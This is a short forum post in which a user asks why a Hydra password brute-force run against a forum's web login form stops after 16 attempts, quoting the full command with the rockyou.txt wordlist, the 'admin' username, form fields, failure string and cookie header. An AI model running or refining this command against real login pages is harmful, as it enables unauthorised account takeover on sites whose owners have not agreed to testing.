Hydra Syntax Issue Stops After 16 Attempts

I am having a problem with my hydra syntax for a web login form as in its just stopping everytime after 16 attempts I am using the rockyou.txt wordlist so not sure why this is happening

hydra IP Address -l admin -P /root/Desktop/rockyou.txt http-form-post "/forum/ucp.php?mode=login:username=^USER^&password=^PASS^&redirect=.%2Fucp.php%3Fmode%3Dlogin&sid=673ce89cbe25724ce892da2c3a35523b&redirect=index.php&login=Login:F=You have specified an incorrect password. Please check your password and try again. If you continue to have problems please contact the Board Administrator:-H=Cookie: style_cookie=printonly websites cookie here" -V

DATA max 16 tasks per 1 server, overall 16 tasks, 478 login tries (l:1/p:478), ~30 tries per task